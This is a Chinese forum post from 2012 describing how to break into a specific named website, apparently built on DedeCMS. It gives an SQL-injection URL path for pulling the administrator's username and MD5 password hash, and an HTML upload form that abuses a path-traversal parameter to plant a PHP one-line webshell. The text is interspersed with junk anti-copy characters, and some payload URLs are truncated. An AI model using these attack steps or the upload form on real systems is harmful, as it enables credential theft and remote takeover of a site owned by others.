①注入漏洞。 X/ `! t I/ }! y* S
这站 http://www.political-security.com/
" }- m# R4 ^% \0 u0 n$ [首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
7 A) y3 h) D* e" {www.political-security.com/data/mysql_error_trace.inc 爆后台
; ?0 h& _' z# I! O3 ]0 Q然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
. F' g& p: `, m/ ~6 d) U9 i然后写上语句 " O4 Q% ^* g- i* J- z
查看管理员帐号) D, j) I C0 n. L& F$ U$ F8 w
http://www.political-security.co ... &membergroup=@`
& E) P1 h8 ]( h" ^+ [/ a% n8 g! \8 D$ K$ U
admin
% i# g4 B4 Y. n+ ^. ~
$ t7 N3 l8 U% w3 ] s& b查看管理员密码$ p& b/ A) q3 n0 V0 [
http://www.political-security.co ... &membergroup=@`
& I6 N7 Q2 K! n/ I0 f3 N: `* I2 @( \" w1 S( f" Z1 _6 i# G7 [) p, T) H
8d29b1ef9f8c5a5af4297 U9 f6 B$ `/ j7 q
" ]# M% o: C5 @3 ~& \查看管理员密码/ H7 U' Y: c$ ~% g r0 L
$ d5 {% L$ h" x2 S, K5 B& u E9 r得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD54 Y: a9 N7 I& @2 q$ v6 W! x
_7 c' i/ _6 d5 s" K5 v8 Y8 I
8d2% k1 C; I/ ~ |+ t& g+ b
9b1ef9f8c5a5af428 m% X; [* p' B+ v
9
/ K- k- f3 A: i6 ?3 _. Q2 ] V% t) [# ?, m* }5 |5 v/ e' _2 a6 Y) F6 t- e
cmd5没解出来 只好测试第二个方法
" P" A0 F2 L q* N5 E
; v/ j! j8 d8 i. X1 G- Z
! R) q' [- h2 G/ |& l9 h②上传漏洞：4 ?+ T: Y- e6 ?! w& K) m
! z) E, j7 B1 F j
只要登陆会员中心，然后访问页面链接* h; }' b3 y2 H# a
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”1 U' {$ S7 b* a7 N
/ N# k) P4 n0 k' u4 x4 ?
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
* S/ m5 N) G, \% L% }7 H/ B r. ?
3 }7 [2 d' L" y0 h0 O3 o于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
! k4 d) N7 N0 f
3 l1 m d+ N- H2 u/ M" S<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>* M: `5 [, Z+ `
或者
: M) ^9 x3 @ G4 U* o0 t, ]即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对